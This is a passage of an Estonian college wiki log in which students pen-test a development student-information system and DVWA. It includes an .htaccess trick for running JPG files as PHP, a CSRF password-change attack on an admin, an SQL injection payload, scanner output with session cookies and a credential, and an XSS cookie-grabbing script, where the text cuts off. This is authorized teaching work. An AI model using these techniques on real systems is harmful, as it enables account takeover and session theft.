[[File:Admin_proof.PNG|200px|thumb|right|Ligisaadud adminpaneelile]]&lt;br /&gt;
&lt;br /&gt;
Tegime uue faili htaccess.txt, kuhu panime kirja käsu, mis käivitaks php ja jpg faile kui php failidena.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .php .jpg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Laadisime mõlemad failid Enose veebiserverisse avalikult. &lt;br /&gt;
&lt;br /&gt;
Tegime enda kontode peal katsed, et kõik toimiks nii nagu vaja ja ega probleeme ei teki. &lt;br /&gt;
Peale seda juhendaja Mart Manguse abiga saime ÕISi adminnile Valter Kunglale väikese test-rünnaku teha.&lt;br /&gt;
Mart Mangus üritas seletada, et hinnetelehel on midagi viga ja palus, et Valter vaataks asja üle. &lt;br /&gt;
Sellega saavutasime selle, et Valter logis dev-ÕISi sisse oma kontoga.&lt;br /&gt;
Valter ütles, et ta ei näe midagi viltu ja selle peale saatsime talle nii nimetatud screenshoti, mille taga oli tegelt meie koodiga screen1.jpg fail. &lt;br /&gt;
Kui see fail käivitati, siis Valter Kungla parool muudeti ära ja logiti süsteemist välja. &lt;br /&gt;
Tol hetkel, täpselt ennem väljalogimist ja ümbersuunamist, muutus tema parool meie pantud &amp;quot;test123&amp;quot;-ks ja me saime ligipääsu administraatori õigustes kontole. &lt;br /&gt;
Rünnak oli edukas.&lt;br /&gt;
[[File:Pass fixed.PNG|200px|thumb|right|Dev_OIS fixed]]&lt;br /&gt;
&lt;br /&gt;
Andsime teada Valterile teada, et tegelikult tegime salajase ründe. &lt;br /&gt;
Suhteliselt koheselt oli Valteril see CSRF ründe vastu dev-ÕIS ära parandatud, kuna tal oli juba koodiparandus olemas aga lihtsalt rakendamata ja me tabasime ajaliselt viimase hetke ära, kus seda rünnet sai teha. &lt;br /&gt;
Peale parandust enam see rünne läbi ei läinud ja süsteem hõiskab vastu, et tegu on ründe või mõne bug&#039;iga.&lt;br /&gt;
&lt;br /&gt;
Kuna tegu oli ÕIS&#039;i arendusversiooniga, siis oli serveris oli lubatud ka error_reporting, mis annab välja ka pildil oleva errorite jada.&lt;br /&gt;
Error Reporting on maha keeratud Live keskkonnas ja seal sellist pikka keerulist koodijada veateadetega ette ei tule ning saadetakse teade arendajatele automaatselt.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
====Burp suite====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Esimese asjane peale Burp suite käivitamist. Tabilt proxy  -&amp;gt;intercept -&amp;gt;intercept off&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt seadistada proxy enda veebiprauserist (mõistlik panna localhost aadress 127.0.0.1 port 8080 ning lülitada sisse ka ssl proxy)&amp;lt;br&amp;gt;&lt;br /&gt;
Proxy  -&amp;gt; options alt lülitada sisse proxy listner pordile 8080 .&amp;lt;br&amp;gt;&lt;br /&gt;
Ohvri valimine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida intruder -&amp;gt; target ning sinna sisestada veebileht mida on plaanis uurida https lehe korral lülitada sisse ssl ning pordiks valida 443.&amp;lt;br&amp;gt;&lt;br /&gt;
Kui on tarvis lehte ka sisse logituna uurida siis tuleb seadistada järgmised parameetrid.&amp;lt;br&amp;gt;&lt;br /&gt;
Valida Options tab sealt sisse lülitada www authentication ning täita all olevad read.&amp;lt;br&amp;gt;site mida rünnatakse tema tüüp(üldiselt basic), login, parool ning valida add.&lt;br /&gt;
Kui on soov sooritada veebilehe sipderingi siis tuleb excludida ka logout käsud.&amp;lt;br&amp;gt;&lt;br /&gt;
Targer-&amp;gt;scope -&amp;gt; exclude  frome scope ja veenduda at välja on arvatud logout laused.&amp;lt;br&amp;gt;&lt;br /&gt;
Spideringi sisselülitamine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida tab Spide ning sealt panna linnuke kasti spider running.&amp;lt;br&amp;gt;&lt;br /&gt;
Ning oledki valmis saama laheküljelt infot.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriistal on veel tohutu hulk seadistus võimalusi, aga kahjuks ajanappuse tõttu ei jõudnud nende kõikidega tutvuda.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriis ei ole mõeldud algajatele, kuid teda tundma õppides on võimailik sooritada keerukaid operatsioone. Suurim nõrkus sellel programmil on see, et ta otsing ei näita ära nõrkasid kohti veebilehel vaid need tuleb ise koodist ülesse otsida.&lt;br /&gt;
&lt;br /&gt;
====Nessuse algkäivitamine====&lt;br /&gt;
Valida backtrackist  vulnerability scannerite alt nessus ning edasi nessus register .&amp;lt;br&amp;gt; Täite ära vajalikud read veebilehel ning mailile saadetakse aktiveerimis kood.&amp;lt;br&amp;gt; Järgnevalt avada termnal ning sisestada käsk : /opt/nessus/bin/nessus –fetch –register **********(tärnide asemele meilile saadetud kood)&amp;lt;br&amp;gt;&lt;br /&gt;
Nüüd läheb aega kuni nessus updatedakse (ole valmis ootama võtab tükk aega.)&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt käivitada nessus user add ning sinna sisestada soovitav kasutajanimi nessusele, kui küsitakse kas admin konto siis sisestada y. Kõik on korras kui tuleb ette kiri user added.&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt valida nessus start.&amp;lt;br&amp;gt;&lt;br /&gt;
Et nessusesse siseneda veebibrauseri URL i kirjutada 127.0.0.1:8834 &lt;br /&gt;
Siis avaneb leht kus tuleb vajutada lehe alaosas olevale lingile mis suunab https leheküljele.&amp;lt;br&amp;gt;&lt;br /&gt;
Antud tööriist ei ole just kõige sobilikum veebilehtede testimiseks.&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
&lt;br /&gt;
====Väike upload tegevus, mis võiks olla teisiti====&lt;br /&gt;
Ajal mil on avatud stipendiumi taotlemine on võimalik uploadida üles dokumente, et anda lisainformatsiooni abitoetuse taotlemiseks.&lt;br /&gt;
Testimisel selgus, et hetkel üles on võimalik üles laadida ükskõik mis laiendiga faile.&lt;br /&gt;
Proovisime üles laadida: &lt;br /&gt;
&amp;lt;li&amp;gt;filmi&lt;br /&gt;
&amp;lt;li&amp;gt;exe &lt;br /&gt;
&amp;lt;li&amp;gt;jpm faile &lt;br /&gt;
&amp;lt;br&amp;gt;kõik läks läbi ja sai uploadida.&lt;br /&gt;
&amp;lt;br&amp;gt;Sellises kohas võiks olla süsteem tehtud &amp;lt;b&amp;gt;whitelisti&amp;lt;/b&amp;gt; põhimõttel,&lt;br /&gt;
&amp;lt;br&amp;gt;et lubatud oleks ainult: &lt;br /&gt;
&amp;lt;li&amp;gt;.doc &lt;br /&gt;
&amp;lt;li&amp;gt;.docx &lt;br /&gt;
&amp;lt;li&amp;gt;.pdf &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:W3af skanner.png|150px|thumb|w3af skänni seaded]]&lt;br /&gt;
Backtarcki keskkonnas sai testitud programmi w3af.&lt;br /&gt;
&lt;br /&gt;
==== Backtrack: w3af ====&lt;br /&gt;
[[File:Basic HTTP Auth.png|150px|thumb|w3af Basic HTTP Auth]]&lt;br /&gt;
[[File:ÕISi küpsis.png|150px|thumb|Mozilla Firefox küpsis]]&lt;br /&gt;
[[File:W3af_Cookie.png|150px|thumb|w3af Cookie]]&lt;br /&gt;
Võimalik kätte saada SSL Certificate.&lt;br /&gt;
Aadressiribalt leitud sisselogimis-aadressiga sisse logimine ei õnnestunud:&lt;br /&gt;
  https://itcollege.dev.ois.ee/auth/login?continue=/auth/login?&lt;br /&gt;
  username=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&amp;amp;continue=&amp;amp;Login=Logi sisse&amp;amp;pw=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
Programmi sisestatud andmetega ka mitte:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Basic HTTP Authentication:&lt;br /&gt;
    basicAuthUser: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthPass: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthDomain: http://itcollege.dev.ois.ee&lt;br /&gt;
Mozilla Firefoxi küpsis õnnestus luua Töölauale hetkel sisse logitud sessiooni ID-ga. Programmi küpsise sisestamine:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Cookies&lt;br /&gt;
    cookieJarFile: /root/Desktop/&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;ois_cookie.txt&amp;lt;/font&amp;gt;&lt;br /&gt;
Seda loodud sessiooni ID-ga küpsist kasutada algul ei õnnestunud. Ilmselt oli midagi valesti. Õige on:&lt;br /&gt;
  # Netscape HTTP Cookie File&lt;br /&gt;
  .dev.ois.ee	TRUE	/	FALSE	1731510001	itcollege_OIS_SESSION_ID	&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;870aqllryuw3cmf6cv8ellha03&amp;lt;/font&amp;gt;&lt;br /&gt;
Esimene rida on nõutav! Teiste tähendused:&lt;br /&gt;
  domain - The domain that created and that can read the variable.&lt;br /&gt;
  flag - A TRUE/FALSE value indicating if all machines within a given domain can access the variable.&lt;br /&gt;
    This value is set automatically by the browser, depending on the value you set for domain.&lt;br /&gt;
  path - The path within the domain that the variable is valid for.&lt;br /&gt;
  secure - A TRUE/FALSE value indicating if a secure connection with the domain is needed to access the variable.&lt;br /&gt;
  expiration - The UNIX time that the variable will expire on.&lt;br /&gt;
  name - The name of the variable.&lt;br /&gt;
  value - The value of the variable.&lt;br /&gt;
Küpsis on leitav Mozilla Firefoxis peale itcollege.dev.ois.ee-s oma kasutajaga sisse logimist:&lt;br /&gt;
  Edit -&amp;gt; Preferences -&amp;gt; Privacy -&amp;gt; History -&amp;gt; remove individual cookies&lt;br /&gt;
    Search: itcollege.dev.ois.ee&lt;br /&gt;
    Leitud valiku all Cookie Name: itcollege_OIS_SESSION_ID&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Skänneerimine:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The page language is: en&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; has a &amp;quot;&amp;lt;form&amp;gt;&amp;quot; element with auto-complete enabled.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;A comment with the string &amp;quot;&amp;lt;p&amp;amp;gt;tunne end kui koolis&amp;lt;/p&amp;amp;gt;&amp;quot; was found in: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Found a form login. The action of the form is: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  The username field to be used is: &amp;quot;username&amp;quot;.&lt;br /&gt;
  The password field to be used is: &amp;quot;pw&amp;quot;.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;Found authentication credentials to: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;. A correct user and password combination is: Administrador/6666666&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  Antud kasutaja ja parooliga sisse ei saanud.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; returned a response that may contain a &amp;quot;SHA1&amp;quot; hash. The hash is: &amp;quot;c7b39896de5f296b5a44c2dfcd9f0600b2cf424d&amp;quot;. This is uncommon and requires human verification.&amp;lt;/li&amp;gt;&lt;br /&gt;
  Taolisi ja MD5 hashiga ridu leiti 355. Kõik vajavad inimese kontrolli.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; sent these cookies:&amp;lt;/li&amp;gt;&lt;br /&gt;
  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; path=/&lt;br /&gt;
  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; Path=/&lt;br /&gt;
&amp;lt;li&amp;gt;The SMTP settings in emailReport plugin seem to be incorrect. Original error: &amp;quot;[Errno 111] Connection refused&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  Kui tuleb see veateade, siis skänn katkeb.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;The following scripts allow an attacker to send POST data as query string data (this makes XSRF easier to exploit):&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/openid-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/id-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;SQL injection in a Unknown database was found at: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;, using HTTP method POST.&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The sent post-data was: &amp;quot;username=John8212&amp;amp;security_key_sis_global=d&#039;z&amp;quot;0&amp;amp;Login=Logi%20sisse&amp;amp;continue=56&amp;amp;pw=FrAmE30.&amp;quot;.&lt;br /&gt;
    The modified parameter was &amp;quot;security_key_sis_global&amp;quot;. This vulnerability was found in the request with id 390.&lt;br /&gt;
&amp;lt;li&amp;gt;Leidis ka otsirobotitele mõeldud faili: https://itcollege.dev.ois.ee/robots.txt&amp;lt;/li&amp;gt;&lt;br /&gt;
  User-agent: *&lt;br /&gt;
  Disallow: /&lt;br /&gt;
  Allow: /curriculum&lt;br /&gt;
  Allow: /subject&lt;br /&gt;
  Allow: /diploma&lt;br /&gt;
  Allow: /schedule/ical&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 4. päev - Presentatsiooni tegemine ja esitlemine ==&lt;br /&gt;
&lt;br /&gt;
Koostasime presentatsiooni ja esitlemine.&lt;br /&gt;
&lt;br /&gt;
[[Media:Security_team_presentation.ppt]]&lt;br /&gt;
&lt;br /&gt;
== Arvamused intensiivõppe nädala kohta ==&lt;br /&gt;
&lt;br /&gt;
Sander: Õppisime erinevaid testprogramme ja testkeskkondi kasutama, mida varem kunagi kasutanud polnud. Suutsime avastada nii mõnegi vea, mida varem avastatud ei olnud. Usun, et ÕIS on nüüd kasvõi veidigi turvalisem. Soovitan ka teistele tudengitele intensiivõppenädalal osalemist, kuna valides õige teema võib olla päris huvitav tegeleda millegagi, mida varem teinud pole või mida tegelikult lihtsalt ei ole lubatud teha.&lt;br /&gt;
&lt;br /&gt;
Urmo: Intensiivõppe nädalaga sai õpitud nii mõndagi huvitavat veebiturve ja selle testimise kohta. Kuna aega oli vähe, siis sai hulgaliselt kogemust ja oskust reaalselt planeerida mahukat tööd täiesti nullist kuni reaalse rakendatava tulemuseni ning pani proovile stressitaluvuse tõestamaks pinge all jätkusuutlikku töötamist. Intensiivõppe nädalal võiksid osaleda kõik, kellel väheke tahtmist midagi uurida ja korda saata ning saada reaalset töökogemust ennem töömaailma sukeldumist.&lt;br /&gt;
&lt;br /&gt;
== Tegijad ==&lt;br /&gt;
Alo Konno A21&lt;br /&gt;
&lt;br /&gt;
Urmo Lihten A21&lt;br /&gt;
&lt;br /&gt;
Taavi Podžuks A22&lt;br /&gt;
&lt;br /&gt;
Matis Alliksoo A22&lt;br /&gt;
&lt;br /&gt;
Sander Saarm A22&lt;br /&gt;
&lt;br /&gt;
== Juhendajad ==&lt;br /&gt;
Mart Mangus&lt;br /&gt;
&lt;br /&gt;
Margus Ernits&lt;br /&gt;
&lt;br /&gt;
Valter Kungla&lt;/div&gt;</summary>
		<author><name>Ulihten</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47067</id>
		<title>Security team</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47067"/>
		<updated>2012-03-30T20:53:14Z</updated>

		<summary type="html">&lt;p&gt;Ulihten: /* Alo tegevus */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== 1. päev - Materjalidega tutvumine ==&lt;br /&gt;
&lt;br /&gt;
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project&lt;br /&gt;
&lt;br /&gt;
    A1: Injection - Urmo&lt;br /&gt;
    A2: Cross-Site Scripting (XSS) - Alo&lt;br /&gt;
    A3: Broken Authentication and Session Management - Sander&lt;br /&gt;
    A4: Insecure Direct Object References - Alo&lt;br /&gt;
    A5: Cross-Site Request Forgery (CSRF) - Taavi&lt;br /&gt;
    A6: Security Misconfiguration - Matis&lt;br /&gt;
    A7: Insecure Cryptographic Storage - Matis&lt;br /&gt;
    A8: Failure to Restrict URL Access - Urmo&lt;br /&gt;
    A9: Insufficient Transport Layer Protection - Taavi&lt;br /&gt;
    A10: Unvalidated Redirects and Forwards - Sander&lt;br /&gt;
&lt;br /&gt;
Sanderi konspekt: [[Media:Ois_materjal.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Urmo esitlus: [[Media:Injection-Failure_URL_access.ppt]] &amp;lt;br&amp;gt;&lt;br /&gt;
Taavi esitlus [[Media:A9.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Taavi esitlus [[Media:A5.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Matise esitlus [[Media:Insecure Cryptographic Storage.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Matise esitlus [[Media:Security Misconfiguration.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Alo Esitlus: [[Media:Cross-site_scripting_(XSS).ppt]] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine==&lt;br /&gt;
===Security Team tegevusplaan===&lt;br /&gt;
1.	Päev&lt;br /&gt;
 1.1	Tutvuda OWASP’iga. &lt;br /&gt;
 1.2	Tutvuda OWASP’i aasta 2010 TOP 10 veebirakenduse turvariskidega.&lt;br /&gt;
 1.3	Iga grupiliige teeb 2 turvariski kohta väikese tutvustava ettekande.&lt;br /&gt;
2.	Päev&lt;br /&gt;
 2.1	Esitada tiimi tegevusplaan.&lt;br /&gt;
 2.2	Tutvuda turvariskidega natuke põhjalikumalt.&lt;br /&gt;
 2.3	Tutvuda ja katsetada erinevaid pen-testingu tööriistasid – BackTrack ja SamuraiCD võimalused.&lt;br /&gt;
 2.4	Täiendada esimese päeva ettekannet.&lt;br /&gt;
3.	Päev&lt;br /&gt;
 3.1	Alustada dev-ÕISi peal turvariskide leidmist – samuti iga grupi liige testib/katsetab 2 turvariski ekspluateerimist.&lt;br /&gt;
 3.2	Saadud tulemuste dokumenteerimine.&lt;br /&gt;
4.	Päev&lt;br /&gt;
 4.1	Saadud tulemuste esitlemine ettekandega&lt;br /&gt;
5.	Päev&lt;br /&gt;
 5.1	Tulemuste parandamine wiki’s.&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
&lt;br /&gt;
http://www.acunetix.com/support/vulnerability-checks.htm&lt;br /&gt;
&lt;br /&gt;
http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting&lt;br /&gt;
&lt;br /&gt;
http://wiki.developerforce.com/page/Secure_Coding_Cross_Site_Scripting&lt;br /&gt;
&lt;br /&gt;
http://www.youtube.com/watch?v=SG1cvGQ971g&lt;br /&gt;
&lt;br /&gt;
http://www.isecom.org/research.html&lt;br /&gt;
&lt;br /&gt;
http://evuln.com/tools/&lt;br /&gt;
&lt;br /&gt;
http://sectools.org/tag/web-scanners/&lt;br /&gt;
&lt;br /&gt;
http://www.webresourcesdepot.com/10-free-web-application-security-testing-tools/&lt;br /&gt;
&lt;br /&gt;
http://www.acunetix.com/vulnerability-scanner/getting-started.htm&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Internetist sai otsitud parimat Windowsi automaatskännerit ja selleks osutus:&lt;br /&gt;
Acunetix Web Vulnerability Scanner v. 8&lt;br /&gt;
http://www.acunetix.com/vulnerability-scanner/&lt;br /&gt;
&lt;br /&gt;
Pärast programmi installimist tuli seadistada skännimine, valisime keskmise põhjalikkusega skänni.&lt;br /&gt;
&lt;br /&gt;
Erinevalt teistest automaatskännidest sai sellel lihtsamalt seadistatud sisselogimine ja lisaks sai paika panna ka, et ta arvestaks välja Log out lingi.&lt;br /&gt;
&lt;br /&gt;
Antud programm võimaldab skännida:&lt;br /&gt;
&lt;br /&gt;
Cross-Site Scripting (XSS)&lt;br /&gt;
&lt;br /&gt;
SQL Injection (blind test)&lt;br /&gt;
&lt;br /&gt;
File inclusion&lt;br /&gt;
&lt;br /&gt;
Code Execution&lt;br /&gt;
&lt;br /&gt;
LDAP Injection&lt;br /&gt;
&lt;br /&gt;
Cross Frame Scripting&lt;br /&gt;
&lt;br /&gt;
SQL Injection (error msg. test)&lt;br /&gt;
&lt;br /&gt;
CRLF Injection&lt;br /&gt;
&lt;br /&gt;
Directory Travelsal&lt;br /&gt;
&lt;br /&gt;
XPath Injection&lt;br /&gt;
&lt;br /&gt;
URL Redirection&lt;br /&gt;
&lt;br /&gt;
Application Error Message&lt;br /&gt;
&lt;br /&gt;
Kuna skänner skännib väga põhjalikult ja teskeskonnal ei töötanud täsvõimsusel oli ping väga suur ja skänn tegi vähe päringuid tunnis siis oleks täisskänni ajaliselt paar päeva.&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
&lt;br /&gt;
Kasutan BackTrack 5 R2 64bit Gnome ja Samurai CD 0.9.9 operatsioonisüsteeme katsetamaks ja uurimaks erinevate veebilehtede turvariskide ära kasutamist.&lt;br /&gt;
&lt;br /&gt;
Pandud tööle Samurai ja kasutatud Damm Vurnelable Web Application&#039;i.&lt;br /&gt;
&lt;br /&gt;
==== Brute Force (DVWA) ====&lt;br /&gt;
Käsitsi välja uuritud login andmed:&lt;br /&gt;
kasutajanimi: admin&lt;br /&gt;
parool: password&lt;br /&gt;
&lt;br /&gt;
===== Fireforce plugin Firefoxis =====&lt;br /&gt;
Tekitatud sai ka password list faili pass.txt.&lt;br /&gt;
&lt;br /&gt;
Kasutusel oli Firefox brauser, kuhu installisime plugin&#039;a Fireforce. &lt;br /&gt;
Siin kasutasime Youtube õpetust: http://youtu.be/lmgMXhM01fY .&lt;br /&gt;
&lt;br /&gt;
Panime kasutajanimeks &amp;quot;admin&amp;quot; ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse.&lt;br /&gt;
Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud. &lt;br /&gt;
Selleks sai sõna &amp;quot;incorrect&amp;quot;.&lt;br /&gt;
Määrata ära tuli ka, et mitu päringut sekundis tehakse. &lt;br /&gt;
Panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada. &lt;br /&gt;
Päringute tegemise kiirus vähem kui 1 päring/sekundis.&lt;br /&gt;
&lt;br /&gt;
Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt.&lt;br /&gt;
Kasutasime ka videos näidatud &amp;quot;@ DICTIONARY&amp;quot; teksti ühes lahtris ja siis plugin ei tahtnud üldse proovida ja lasi kõik katsed üle mingil põhjusel.&lt;br /&gt;
&lt;br /&gt;
Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi.&lt;br /&gt;
&lt;br /&gt;
===== Burpsuite v1.4 =====&lt;br /&gt;
Burpsuite v1.4 on Samurai WTF&#039;il olemas juba sees ja saab kohe käima panna.&lt;br /&gt;
[[File:Bp2naide.jpg|200px|thumb|right|BurpSuite näidis screenshot UI&#039;st]]&lt;br /&gt;
&lt;br /&gt;
Programm on juba loomult keerulisem. &lt;br /&gt;
Burpsuite&#039;iga tuleb panna käima proxy server localhost&#039;is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080.&lt;br /&gt;
Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine. &lt;br /&gt;
Läbi proxy serveri tuleb BurpSuite&#039;ile kohale vastava veebilehe Header sisselogimise kohta.&lt;br /&gt;
Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema.&lt;br /&gt;
Payload&#039;i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki.&lt;br /&gt;
Ründe stiiliks määrata Pitchfork.&lt;br /&gt;
Mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama.&lt;br /&gt;
Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid.&lt;br /&gt;
Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -&amp;gt; Start Attack, mis siis alustas rünnet. &lt;br /&gt;
Kahjuks ka see rünne ei toiminud teadmata põhjusel. &lt;br /&gt;
Proovitud sai ka lühemate nimekirjadega ja edutult. &lt;br /&gt;
&lt;br /&gt;
Peale teise programmi kasutamist jõudsime järeldusele, et Brute Force ründest pole meil kasu ja ei aita eesmärki täita effektiivselt. &lt;br /&gt;
Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5-ks sisselogimine ära vastava teatega ja brute force programmidele ei tule vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel.&lt;br /&gt;
&lt;br /&gt;
==== CSRF - Cross-site request forgery ====&lt;br /&gt;
Katsetamine toimub koos Taaviga.&lt;br /&gt;
&lt;br /&gt;
Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat.&lt;br /&gt;
&lt;br /&gt;
Katse eesmärgiks on DVWA-s kasutaja parooli muutmine, niiet ta ise paneb meie veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse see koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool.&lt;br /&gt;
&lt;br /&gt;
Lõime uue faili - crosssite.txt&lt;br /&gt;
&lt;br /&gt;
DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist.&lt;br /&gt;
Võtsime lehe Source Code lahti&lt;br /&gt;
Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele.&lt;br /&gt;
Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole.&lt;br /&gt;
Current Password lahtri jätsime samaks.&lt;br /&gt;
Ülejäänud kahe uue passwordi fieldi type&#039;iks määrasime &amp;quot;Hidden&amp;quot; ja value&#039;deks &amp;quot;admin&amp;quot;.&lt;br /&gt;
Salvestasime faili ja käivitasime selle.&lt;br /&gt;
Tuli ette ainult lahter Current Passwordi ja Submit nupuga.&lt;br /&gt;
Panime sisse tolle hetke parooli ning saatsime teele päringu ning saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud sõna &amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
&lt;br /&gt;
Backtrack 5 R2 - parimate tööriistade ja meetodite uurimine et leida turvanõrkusi.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
==== Reflected Cross Site Scripting (XSS)  ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Lehel on selline Form:&amp;lt;/li&amp;gt;&lt;br /&gt;
[[Image:Xsstesting.jpg|Location=&amp;quot;left&amp;quot;|Caption|]]&lt;br /&gt;
&amp;lt;br&amp;gt;Form väljastab : Hello „sisestatud nimi“&lt;br /&gt;
&amp;lt;li&amp;gt;Easy puhul:&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Saab sisestada textboxi skripti:&amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
    alert(document.cookie.match(/PHPSESSID=[^;\]+/));&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Eelnev skript toob ekraanile lihtsalt hetke sessioni ID.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Kui sellist asja on võimalik sisestada siis saab juba sellise skripti teha mis saadab kasutaja mingile sinu enda leheküljele kuhu on taha lisatud Session ID: &amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
